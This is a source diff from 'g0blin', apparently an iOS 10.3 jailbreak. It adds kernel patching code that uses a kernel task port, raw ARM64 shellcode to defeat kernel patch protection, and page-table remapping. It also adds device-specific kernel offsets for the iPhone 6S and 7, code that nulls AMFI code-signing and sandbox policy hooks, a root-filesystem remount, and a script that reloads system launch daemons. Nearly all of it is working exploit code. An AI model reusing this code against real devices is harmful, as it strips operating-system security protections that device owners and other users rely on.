+        WriteAnywhere32(shc+0x200+n, 0xd10103bf); n+=4; // sub    sp, x29, #64
+        WriteAnywhere32(shc+0x200+n, 0xa9447bfd); n+=4; // ldp    x29, x30, [sp, #64]
+        WriteAnywhere32(shc+0x200+n, 0xa9434ff4); n+=4; // ldp    x20, x19, [sp, #48]
+        WriteAnywhere32(shc+0x200+n, 0xa94257f6); n+=4; // ldp    x22, x21, [sp, #32]
+        WriteAnywhere32(shc+0x200+n, 0xa9415ff8); n+=4; // ldp    x24, x23, [sp, #16]
+        WriteAnywhere32(shc+0x200+n, 0xa8c567fa); n+=4; // ldp    x26, x25, [sp], #80
+        WriteAnywhere32(shc+0x200+n, 0xd65f03c0); n+=4; // ret
+        WriteAnywhere32(shc+0x200+n, 0x0e00400f); n+=4; // tbl.8b v15, { v0, v1, v2 }, v0
+
+    }
+
+    mach_vm_protect(tfp0, shc, 0x4000, 0, VM_PROT_READ|VM_PROT_EXECUTE);
+
+    mach_vm_address_t kppsh = 0;
+    mach_vm_allocate(tfp0, &kppsh, 0x4000, VM_FLAGS_ANYWHERE);
+    {
+        int n = 0;
+
+        WriteAnywhere32(kppsh+n, 0x580001e1); n+=4; // ldr    x1, #60
+        WriteAnywhere32(kppsh+n, 0x58000140); n+=4; // ldr    x0, #40
+        WriteAnywhere32(kppsh+n, 0xd5182020); n+=4; // msr    TTBR1_EL1, x0
+        WriteAnywhere32(kppsh+n, 0xd2a00600); n+=4; // movz    x0, #0x30, lsl #16
+        WriteAnywhere32(kppsh+n, 0xd5181040); n+=4; // msr    CPACR_EL1, x0
+        WriteAnywhere32(kppsh+n, 0xd5182021); n+=4; // msr    TTBR1_EL1, x1
+        WriteAnywhere32(kppsh+n, 0x10ffffe0); n+=4; // adr    x0, #-4
+        WriteAnywhere32(kppsh+n, isvad ? 0xd5033b9f : 0xd503201f); n+=4; // dsb ish (4k) / nop (16k)
+        WriteAnywhere32(kppsh+n, isvad ? 0xd508871f : 0xd508873e); n+=4; // tlbi vmalle1 (4k) / tlbi    vae1, x30 (16k)
+        WriteAnywhere32(kppsh+n, 0xd5033fdf); n+=4; // isb
+        WriteAnywhere32(kppsh+n, 0xd65f03c0); n+=4; // ret
+        WriteAnywhere64(kppsh+n, ReadAnywhere64(ttbr0_real)); n+=8;
+        WriteAnywhere64(kppsh+n, physp); n+=8;
+        WriteAnywhere64(kppsh+n, physp); n+=8;
+    }
+
+    mach_vm_protect(tfp0, kppsh, 0x4000, 0, VM_PROT_READ|VM_PROT_EXECUTE);
+
+    WriteAnywhere64(shellcode + 0x100 + 0x10, shc - gVirtBase + gPhysBase); // idle
+    WriteAnywhere64(shellcode + 0x200 + 0x10, shc + 0x100 - gVirtBase + gPhysBase); // idle
+
+    WriteAnywhere64(shellcode + 0x100 + 0x18, idlesleep_handler - gVirtBase + gPhysBase + 8); // idlehandler
+    WriteAnywhere64(shellcode + 0x200 + 0x18, idlesleep_handler - gVirtBase + gPhysBase + 8); // deephandler
+
+    /*
+
+     pagetables are now not real anymore, they're real af
+
+     */
+
+    uint64_t cpacr_addr = find_cpacr_write();
+#define PSZ (isvad ? 0x1000 : 0x4000)
+#define PMK (PSZ-1)
+
+
+#define RemapPage_(address) \
+pagestuff_64((address) & (~PMK), ^(vm_address_t tte_addr, int addr) {\
+uint64_t tte = ReadAnywhere64(tte_addr);\
+if (!(TTE_GET(tte, TTE_IS_TABLE_MASK))) {\
+printf("[INFO]: breakup!\n");\
+uint64_t fakep = physalloc(PSZ);\
+uint64_t realp = TTE_GET(tte, TTE_PHYS_VALUE_MASK);\
+TTE_SETB(tte, TTE_IS_TABLE_MASK);\
+for (int i = 0; i < PSZ/8; i++) {\
+TTE_SET(tte, TTE_PHYS_VALUE_MASK, realp + i * PSZ);\
+WriteAnywhere64(fakep+i*8, tte);\
+}\
+TTE_SET(tte, TTE_PHYS_VALUE_MASK, findphys_real(fakep));\
+WriteAnywhere64(tte_addr, tte);\
+}\
+uint64_t newt = physalloc(PSZ);\
+copyin(bbuf, TTE_GET(tte, TTE_PHYS_VALUE_MASK) - gPhysBase + gVirtBase, PSZ);\
+copyout(newt, bbuf, PSZ);\
+TTE_SET(tte, TTE_PHYS_VALUE_MASK, findphys_real(newt));\
+TTE_SET(tte, TTE_BLOCK_ATTR_UXN_MASK, 0);\
+TTE_SET(tte, TTE_BLOCK_ATTR_PXN_MASK, 0);\
+WriteAnywhere64(tte_addr, tte);\
+}, level1_table, isvad ? 1 : 2);
+
+#define NewPointer(origptr) (((origptr) & PMK) | findphys_real(origptr) - gPhysBase + gVirtBase)
+
+    uint64_t* remappage = calloc(512, 8);
+
+    int remapcnt = 0;
+
+
+#define RemapPage(x)\
+{\
+int fail = 0;\
+for (int i = 0; i < remapcnt; i++) {\
+if (remappage[i] == (x & (~PMK))) {\
+fail = 1;\
+}\
+}\
+if (fail == 0) {\
+RemapPage_(x);\
+RemapPage_(x+PSZ);\
+remappage[remapcnt++] = (x & (~PMK));\
+}\
+}
+
+    level1_table = physp - gPhysBase + gVirtBase;
+    WriteAnywhere64(ReadAnywhere64(pmap_store), level1_table);
+
+
+    uint64_t shtramp = kernbase + ((const struct mach_header *)find_mh())->sizeofcmds + sizeof(struct mach_header_64);
+    RemapPage(cpacr_addr);
+    WriteAnywhere32(NewPointer(cpacr_addr), 0x94000000 | (((shtramp - cpacr_addr)/4) & 0x3FFFFFF));
+
+    RemapPage(shtramp);
+    WriteAnywhere32(NewPointer(shtramp), 0x58000041);
+    WriteAnywhere32(NewPointer(shtramp)+4, 0xd61f0020);
+    WriteAnywhere64(NewPointer(shtramp)+8, kppsh);
+
+    uint64_t lwvm_write = find_lwvm_mapio_patch();
+    uint64_t lwvm_value = find_lwvm_mapio_newj();
+    RemapPage(lwvm_write);
+    WriteAnywhere64(NewPointer(lwvm_write), lwvm_value);
+
+
+    uint64_t kernvers = find_str("Darwin Kernel Version");
+    uint64_t release = find_str("RELEASE_ARM");
+
+    RemapPage(kernvers-4);
+    WriteAnywhere32(NewPointer(kernvers-4), 1);
+
+    RemapPage(release);
+    if (NewPointer(release) == (NewPointer(release+11) - 11)) {
+        copyout(NewPointer(release), "SaigonARM", 11); /* saigonarm */
+    }
+
+
+    /*
+     nonceenabler
+     */
+
+    {
+        uint64_t sysbootnonce = find_sysbootnonce();
+        printf("[INFO]: nonce: %x\n", ReadAnywhere32(sysbootnonce));
+
+        WriteAnywhere32(sysbootnonce, 1);
+    }
+
+
+
+    uint64_t memcmp_got = find_amfi_memcmpstub();
+    uint64_t ret1 = find_ret_0();
+
+    RemapPage(memcmp_got);
+    WriteAnywhere64(NewPointer(memcmp_got), ret1);
+
+    uint64_t fref = find_reference(idlesleep_handler+0xC, 1, SearchInCore);
+    printf("[INFO]: fref at %llx\n", fref);
+
+    uint64_t amfiops = find_amfiops();
+
+    printf("[INFO]: amfistr at %llx\n", amfiops);
+
+    {
+        /* amfi */
+        uint64_t sbops = amfiops;
+        uint64_t sbops_end = sbops + sizeof(struct mac_policy_ops);
+
+        uint64_t nopag = sbops_end - sbops;
+
+        for (int i = 0; i < nopag; i+= PSZ)
+            RemapPage(((sbops + i) & (~PMK)));
+
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
+    }
+
+    /*
+     first str
+     */
+    while (1) {
+        uint32_t opcode = ReadAnywhere32(fref);
+        if ((opcode & 0xFFC00000) == 0xF9000000) {
+            int32_t outhere = ((opcode & 0x3FFC00) >> 10) * 8;
+            int32_t myreg = (opcode >> 5) & 0x1f;
+            uint64_t rgz = find_register_value(fref, myreg)+outhere;
+
+            WriteAnywhere64(rgz, physcode+0x200);
+            break;
+        }
+        fref += 4;
+    }
+
+    fref += 4;
+
+    /*
+     second str
+     */
+    while (1) {
+        uint32_t opcode = ReadAnywhere32(fref);
+        if ((opcode & 0xFFC00000) == 0xF9000000) {
+            int32_t outhere = ((opcode & 0x3FFC00) >> 10) * 8;
+            int32_t myreg = (opcode >> 5) & 0x1f;
+            uint64_t rgz = find_register_value(fref, myreg)+outhere;
+
+            WriteAnywhere64(rgz, physcode+0x100);
+            break;
+        }
+        fref += 4;
+    }
+
+        /*
+         sandbox
+         */
+
+        uint64_t sbops = find_sbops();
+        uint64_t sbops_end = sbops + sizeof(struct mac_policy_ops) + PMK;
+
+        uint64_t nopag = (sbops_end - sbops)/(PSZ);
+
+        for (int i = 0; i < nopag; i++) {
+            RemapPage(((sbops + i*(PSZ)) & (~PMK)));
+        }
+
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exec)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_link)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_open)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_readlink)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setflags)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_notify_create)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat)), 0);
+
+
+
+    {
+        uint64_t point = find_amfiret()-0x18;
+
+        RemapPage((point & (~PMK)));
+        uint64_t remap = NewPointer(point);
+
+        assert(ReadAnywhere32(point) == ReadAnywhere32(remap));
+
+        WriteAnywhere32(remap, 0x58000041);
+        WriteAnywhere32(remap + 4, 0xd61f0020);
+        WriteAnywhere64(remap + 8, shc+0x200); /* amfi shellcode */
+
+    }
+
+    for (int i = 0; i < z; i++) {
+        WriteAnywhere64(plist[i], physcode + 0x100);
+    }
+
+    while (ReadAnywhere32(kernvers-4) != 1) {
+        sleep(1);
+    }
+
+    printf("[INFO]: enabled patches\n");
+    
+    ret = KERN_SUCCESS;
+
+cleanup:
+    return ret;
+}

main.m

@@ -0,0 +1,16 @@
+//
+//  main.m
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 Sticktron. All rights reserved.
+//
+
+#import <UIKit/UIKit.h>
+#import "AppDelegate.h"
+
+int main(int argc, char * argv[]) {
+    @autoreleasepool {
+        return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
+    }
+}

offsets.h

@@ -0,0 +1,36 @@
+//
+//  offsets.h
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 Sticktron. All rights reserved.
+//
+
+#ifndef offsets_h
+#define offsets_h
+
+#include <stdio.h>
+#include <mach/mach.h>
+
+extern uint64_t OFFSET_ZONE_MAP;
+extern uint64_t OFFSET_KERNEL_MAP;
+extern uint64_t OFFSET_KERNEL_TASK;
+extern uint64_t OFFSET_REALHOST;
+extern uint64_t OFFSET_BZERO;
+extern uint64_t OFFSET_BCOPY;
+extern uint64_t OFFSET_COPYIN;
+extern uint64_t OFFSET_COPYOUT;
+extern uint64_t OFFSET_CHGPROCCNT;
+extern uint64_t OFFSET_KAUTH_CRED_REF;
+extern uint64_t OFFSET_IPC_PORT_ALLOC_SPECIAL;
+extern uint64_t OFFSET_IPC_KOBJECT_SET;
+extern uint64_t OFFSET_IPC_PORT_MAKE_SEND;
+extern uint64_t OFFSET_IOSURFACEROOTUSERCLIENT_VTAB;
+extern uint64_t OFFSET_OSSERIALIZER_SERIALIZE;
+extern uint64_t OFFSET_ROP_LDR_X0_X0_0x10;
+extern uint64_t OFFSET_ROP_ADD_X0_X0_0x10;
+extern uint64_t OFFSET_ROOT_MOUNT_V_NODE;
+
+kern_return_t init_offsets(void);
+
+#endif /* offsets_h */

offsets.m

@@ -0,0 +1,99 @@
+//
+//  offsets.m
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 Sticktron. All rights reserved.
+//
+
+#include "offsets.h"
+#include "common.h"
+#include <sys/utsname.h>
+#import <UIKit/UIDevice.h>
+
+uint64_t OFFSET_ZONE_MAP;
+uint64_t OFFSET_KERNEL_MAP;
+uint64_t OFFSET_KERNEL_TASK;
+uint64_t OFFSET_REALHOST;
+uint64_t OFFSET_BZERO;
+uint64_t OFFSET_BCOPY;
+uint64_t OFFSET_COPYIN;
+uint64_t OFFSET_COPYOUT;
+uint64_t OFFSET_CHGPROCCNT;
+uint64_t OFFSET_KAUTH_CRED_REF;
+uint64_t OFFSET_IPC_PORT_ALLOC_SPECIAL;
+uint64_t OFFSET_IPC_KOBJECT_SET;
+uint64_t OFFSET_IPC_PORT_MAKE_SEND;
+uint64_t OFFSET_IOSURFACEROOTUSERCLIENT_VTAB;
+uint64_t OFFSET_OSSERIALIZER_SERIALIZE;
+uint64_t OFFSET_ROP_LDR_X0_X0_0x10;
+uint64_t OFFSET_ROP_ADD_X0_X0_0x10;
+uint64_t OFFSET_ROOT_MOUNT_V_NODE;
+
+kern_return_t init_offsets() {
+    
+    struct utsname u = { 0 };
+    uname(&u);
+    
+    LOG("Detecting device and OS...");
+    
+    LOG("sysname: %s", u.sysname);
+    LOG("nodename: %s", u.nodename);
+    LOG("version: %s", u.version);
+    LOG("release: %s", u.release);
+    LOG("machine: %s", u.machine);
+    
+    NSString *os_ver = [[NSProcessInfo processInfo] operatingSystemVersionString];
+    LOG("operatingSystemVersionString: %@", os_ver);
+    
+    // iPhone 6S (iPhone8,1) - iOS 10.3.2 (14F89)
+    if (strcmp(u.machine, "iPhone8,1") == 0 && [os_ver isEqual:@"Version 10.3.2 (Build 14F89)"]) {
+        OFFSET_ZONE_MAP                             = 0xfffffff007548478; /* "zone_init: kmem_suballoc failed" */
+        OFFSET_KERNEL_MAP                           = 0xfffffff0075a4050;
+        OFFSET_KERNEL_TASK                          = 0xfffffff0075a4048;
+        OFFSET_REALHOST                             = 0xfffffff00752aba0; /* host_priv_self */
+        OFFSET_BZERO                                = 0xfffffff007081f80;
+        OFFSET_BCOPY                                = 0xfffffff007081dc0;
+        OFFSET_COPYIN                               = 0xfffffff0071806f4;
+        OFFSET_COPYOUT                              = 0xfffffff0071808e8;
+        OFFSET_CHGPROCCNT                           = 0xfffffff007049df1;
+        OFFSET_KAUTH_CRED_REF                       = 0xfffffff007367cf4;
+        OFFSET_IPC_PORT_ALLOC_SPECIAL               = 0xfffffff007099e94; /* convert_task_suspension_token_to_port */
+        OFFSET_IPC_KOBJECT_SET                      = 0xfffffff0070ad16c; /* convert_task_suspension_token_to_port */
+        OFFSET_IPC_PORT_MAKE_SEND                   = 0xfffffff0070999b8; /* "ipc_host_init" */
+        OFFSET_IOSURFACEROOTUSERCLIENT_VTAB         = 0xfffffff006e7c9f8;
+        OFFSET_ROP_ADD_X0_X0_0x10                   = 0xfffffff0064b1398;
+        OFFSET_ROP_LDR_X0_X0_0x10                   = 0xfffffff0074c31d4;
+        OFFSET_ROOT_MOUNT_V_NODE                    = 0xfffffff0075a40b0;
+        LOG("loaded offsets for iPhone 6S on 10.3.2");
+    }
+    
+    // iPhone 7 (iPhone9,3) - iOS 10.3.1 (14E304)
+    else if (strcmp(u.machine, "iPhone9,3") == 0 && [os_ver isEqual:@"Version 10.3.1 (Build 14E304)"]) {
+        OFFSET_ZONE_MAP                             = 0xfffffff007590478;
+        OFFSET_KERNEL_MAP                           = 0xfffffff0075ec050;
+        OFFSET_KERNEL_TASK                          = 0xfffffff0075ec048;
+        OFFSET_REALHOST                             = 0xfffffff007572ba0;
+        OFFSET_BZERO                                = 0xfffffff0070c1f80;
+        OFFSET_BCOPY                                = 0xfffffff0070c1dc0;
+        OFFSET_COPYIN                               = 0xfffffff0071c6134;
+        OFFSET_COPYOUT                              = 0xfffffff0071c6414;
+        OFFSET_CHGPROCCNT                           = 0xfffffff007049e4b;
+        OFFSET_KAUTH_CRED_REF                       = 0xfffffff0073ada04;
+        OFFSET_IPC_PORT_ALLOC_SPECIAL               = 0xfffffff0070df05c;
+        OFFSET_IPC_KOBJECT_SET                      = 0xfffffff0070f22b4;
+        OFFSET_IPC_PORT_MAKE_SEND                   = 0xfffffff0070deb80;
+        OFFSET_IOSURFACEROOTUSERCLIENT_VTAB         = 0xfffffff006e4a238;
+        OFFSET_ROP_ADD_X0_X0_0x10                   = 0xfffffff0064ff0a8;
+        OFFSET_ROP_LDR_X0_X0_0x10                   = 0xfffffff0074cf02c;
+        OFFSET_ROOT_MOUNT_V_NODE                    = 0xfffffff0075ec0b0;
+        LOG("loaded offsets for iPhone 7 on 10.3.1");
+    }
+    
+    else {
+        LOG("Device not supported.");
+        return KERN_FAILURE;
+    }
+    
+    return KERN_SUCCESS;
+}

patchfinder64.h

@@ -0,0 +1,43 @@
+//
+//  patchfinder64.h
+//  extra_recipe
+//
+//  Copyright © 2017 xerub. All rights reserved.
+//
+
+#ifndef PATCHFINDER64_H_
+#define PATCHFINDER64_H_
+
+#import "common.h"
+#import <mach/mach.h>
+
+int init_patchfinder(task_t tfp0, uint64_t base, const char *filename);
+void term_kernel(void);
+
+enum { SearchInCore, SearchInPrelink };
+
+uint64_t find_register_value(uint64_t where, int reg);
+uint64_t find_reference(uint64_t to, int n, int prelink);
+uint64_t find_strref(const char *string, int n, int prelink);
+uint64_t find_gPhysBase(void);
+uint64_t find_kernel_pmap(void);
+uint64_t find_amfiret(void);
+uint64_t find_ret_0(void);
+uint64_t find_amfi_memcmpstub(void);
+uint64_t find_sbops(void);
+uint64_t find_lwvm_mapio_patch(void);
+uint64_t find_lwvm_mapio_newj(void);
+
+uint64_t find_entry(void);
+const unsigned char *find_mh(void);
+
+uint64_t find_cpacr_write(void);
+uint64_t find_str(const char *string);
+uint64_t find_amfiops(void);
+uint64_t find_sysbootnonce(void);
+uint64_t find_trustcache(void);
+uint64_t find_amficache(void);
+
+uint64_t find_allproc(void);
+
+#endif

pte_stuff.h

@@ -0,0 +1,194 @@
+//
+//  pte_stuff.h
+//  extra_recipe
+//
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#ifndef pte_stuff_h
+#define pte_stuff_h
+
+
+#define TTE_INDEX_SHIFT 3
+#define TTE_SIZE (1 << TTE_INDEX_SHIFT)
+#define TTE_INDEX(vma, level) ((vma.vm_info.level ## _index) << TTE_INDEX_SHIFT)
+#define TTE_GET(tte, mask) (tte & mask)
+#define TTE_SETB(tte, mask) tte = tte | mask
+#define TTE_SET(tte, mask, val) tte = ((tte & (~mask)) | (val & mask))
+#define TTE_IS_VALID_MASK 0x1
+#define TTE_IS_TABLE_MASK 0x2
+#define TTE_BLOCK_ATTR_INDEX_MASK 0x1C
+#define TTE_BLOCK_ATTR_NS_MASK 0x20
+#define TTE_BLOCK_ATTR_AP_MASK 0xC0
+#define TTE_BLOCK_ATTR_AP_RO_MASK 0x80
+#define TTE_BLOCK_ATTR_AP_CAN_EL0_ACCESS_MASK 0x40
+#define TTE_BLOCK_ATTR_SH_MASK 0x300
+#define TTE_BLOCK_ATTR_AF_MASK 0x400
+#define TTE_BLOCK_ATTR_NG_MASK 0x800
+#define TTE_PHYS_VALUE_MASK 0xFFFFFFFFF000ULL
+#define TTE_BLOCK_ATTR_CONTIG_MASK (1ULL << 52)
+#define TTE_BLOCK_ATTR_PXN_MASK (1ULL << 53)
+#define TTE_BLOCK_ATTR_UXN_MASK (1ULL << 54)
+#define VIRT_TO_PHYS(vaddr) (vaddr - gVirtBase + gPhysBase)
+#define PHYS_TO_VIRT(paddr) (paddr - gPhysBase + gVirtBase)
+uint64_t gPhysBase,gVirtBase,pmap_store,level1_table,hibit_guess;
+
+typedef union VMA_4K {
+    struct {
+        uint64_t block_off : 12;
+        uint64_t level3_index : 9;
+        uint64_t level2_index : 9;
+        uint64_t level1_index : 9;
+        uint64_t level0_index : 9;
+        uint64_t ttbr_selector : 16;
+    } __attribute__((packed)) vm_info;
+    uint64_t vmaddr;
+} VMA_4K;
+typedef union VMA_16K {
+    struct {
+        uint64_t block_off : 14;
+        uint64_t level3_index : 11;
+        uint64_t level2_index : 11;
+        uint64_t level1_index : 11;
+        uint64_t level0_index : 1;
+        uint64_t ttbr_selector : 16;
+    } __attribute__((packed)) vm_info;
+    uint64_t vmaddr;
+} VMA_16K;
+
+VMA_16K vad16;
+VMA_4K vad4;
+char isvad = 0;
+
+#define TTELog NSLog
+vm_size_t sz = 0;
+
+void checkvad() {
+    if (!sz) {
+        struct utsname u = { 0 };
+        uname(&u);
+        host_page_size(mach_host_self(), &sz);
+        printf("[INFO]: checkvad: %lx %x\n", sz, getpagesize());
+        if (strstr(u.machine, "iPad5,") == u.machine) {
+            sz = 4096; // this is 4k but host_page_size lies to us
+        }
+        assert(sz);
+        if (sz == 4096) {
+            isvad = 1;
+        }
+    }
+}
+
+void parse_block_tte(uint64_t tte) {
+    TTELog(@"TTE physaddr: %016llx", TTE_GET(tte, TTE_PHYS_VALUE_MASK));
+    TTELog(@"TTE table: %d", !!(TTE_GET(tte, TTE_IS_TABLE_MASK)));
+    TTELog(@"TTE valid: %d", !!(TTE_GET(tte, TTE_IS_VALID_MASK)));
+    TTELog(@"TTE userland eXecute Never: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_UXN_MASK)));
+    TTELog(@"TTE privileged eXecute Never: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_PXN_MASK)));
+    TTELog(@"TTE contiguous: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_CONTIG_MASK)));
+    TTELog(@"TTE not global: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_NG_MASK)));
+    TTELog(@"TTE access flag: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_AF_MASK)));
+    TTELog(@"TTE shareable: %01llx", (TTE_GET(tte, TTE_BLOCK_ATTR_SH_MASK) >> 8));
+    TTELog(@"TTE access permissions: %s", (TTE_GET(tte, TTE_BLOCK_ATTR_AP_RO_MASK)) ? "Read only" : "Read/Write");
+    TTELog(@"TTE access permissions: %s", (TTE_GET(tte, TTE_BLOCK_ATTR_AP_CAN_EL0_ACCESS_MASK)) ? "EL0 (Userland) can access this page" : "EL0 (Userland) cannot access this page");
+}
+
+void pagestuff_64(vm_address_t vmaddr, void (^pagestuff_64_callback)(vm_address_t tte_addr, int addr), vm_address_t table, int level) {
+    
+    checkvad();
+    if (!table) table = level1_table;
+    if (!level) level = 1;
+    
+    vm_address_t tteaddr = 0;
+    
+    
+    
+    if (sz == 4096) {
+        VMA_4K target_addr;
+        target_addr.vmaddr = vmaddr;
+
+        if (level == 1) {
+            target_addr.vm_info.level1_index -= 0x1c0;
+        }
+
+        switch (level) {
+            case 0:
+                tteaddr = table + TTE_INDEX(target_addr, level0);
+                break;
+            case 1:
+                tteaddr = table + TTE_INDEX(target_addr, level1);
+                break;
+                
+            case 2:
+                tteaddr = table + TTE_INDEX(target_addr, level2);
+                break;
+                
+            case 3:
+                tteaddr = table + TTE_INDEX(target_addr, level3);
+                break;
+                
+            default:
+                break;
+        }
+        
+    } else if (sz == 4096*4) {
+        VMA_16K target_addr;
+        target_addr.vmaddr = vmaddr;
+        
+        switch (level) {
+            case 0:
+                tteaddr = table + TTE_INDEX(target_addr, level0);
+                break;
+            case 1:
+                tteaddr = table + TTE_INDEX(target_addr, level1);
+                break;
+                
+            case 2:
+                tteaddr = table + TTE_INDEX(target_addr, level2);
+                break;
+                
+            case 3:
+                tteaddr = table + TTE_INDEX(target_addr, level3);
+                break;
+                
+            default:
+                break;
+        }
+        
+        
+    }
+    
+    //parse_block_tte(level1_entry);
+    
+    pagestuff_64_callback(tteaddr, level);
+    
+    uint64_t level1_entry = ReadAnywhere64(tteaddr);
+    
+    if (TTE_GET(level1_entry, TTE_IS_TABLE_MASK) && level != 3) {
+        pagestuff_64(vmaddr, pagestuff_64_callback, (TTE_GET(level1_entry, TTE_PHYS_VALUE_MASK)) - gPhysBase + gVirtBase, level + 1);
+    }
+}
+
+uint64_t findphys_real(uint64_t virtaddr) {
+    __block uint64_t physvar = 0;
+    pagestuff_64(virtaddr, ^(vm_address_t tte_addr, int addr) {
+        uint64_t tte = ReadAnywhere64(tte_addr);
+        if (addr == 3) {\
+            physvar = TTE_GET(tte, TTE_PHYS_VALUE_MASK);
+        }
+    }, level1_table, isvad ? 1 : 2);
+    
+    return physvar;
+    
+}
+
+extern task_t tfp0;
+
+uint64_t physalloc(uint64_t size) {
+    uint64_t ret = 0;
+    mach_vm_allocate(tfp0, (mach_vm_address_t*) &ret, size, VM_FLAGS_ANYWHERE);
+    return ret;
+}
+
+#endif

reload

@@ -0,0 +1,11 @@
+#!/bin/sh
+ls /etc/rc.d | while read a; do /etc/rc.d/$a; done
+sleep 1
+launchctl unload $(ls /System/Library/LaunchDaemons/ | grep -v logd | grep -v fud | grep -v ReportCrash | while read a; do printf /System/Library/LaunchDaemons/$a\ ; done)
+launchctl unload /System/Library/NanoLaunchDaemons
+sleep 1
+launchctl load /Library/LaunchDaemons
+launchctl load /System/Library/LaunchDaemons
+launchctl load /System/Library/NanoLaunchDaemons
+
+exit 0

remount.h

@@ -0,0 +1,18 @@
+//
+//  remount.h
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-27.
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#ifndef remount_h
+#define remount_h
+
+#include <stdio.h>
+#include <mach/mach.h>
+
+kern_return_t do_remount(uint64_t slide);
+
+#endif /* remount_h */

remount.m

@@ -0,0 +1,47 @@
+//
+//  remount.m
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-27.
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#include "offsets.h"
+#include "common.h"
+#include "kernel.h"
+#include <sys/mount.h>
+
+
+#define KSTRUCT_OFFSET_MOUNT_MNT_FLAG   0x70
+#define KSTRUCT_OFFSET_VNODE_V_UN       0xd8
+
+
+kern_return_t do_remount(uint64_t slide) {
+    
+    uint64_t _rootnode = OFFSET_ROOT_MOUNT_V_NODE + slide;
+    uint64_t rootfs_vnode = rk64(_rootnode);
+    
+    // read flags
+    uint64_t v_mount = rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN);
+    uint32_t v_flag = rk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1);
+    
+    // unset rootfs flag
+    //wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1, v_flag & ~(MNT_ROOTFS >> 8));
+    wk32(v_mount + 0x71, v_flag & (~(0x1<<6)));
+    
+    // remount
+    char *nmz = strdup("/dev/disk0s1s1");
+    int lolr = mount("hfs", "/", MNT_UPDATE, (void *)&nmz);
+    if (lolr == -1) {
+        LOG("ERROR: could not remount '/'");
+        return KERN_FAILURE;
+    }
+    LOG("successfully remounted '/'");
+    
+    // set original flags back
+    v_mount = rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN);
+    wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1, v_flag);
+    
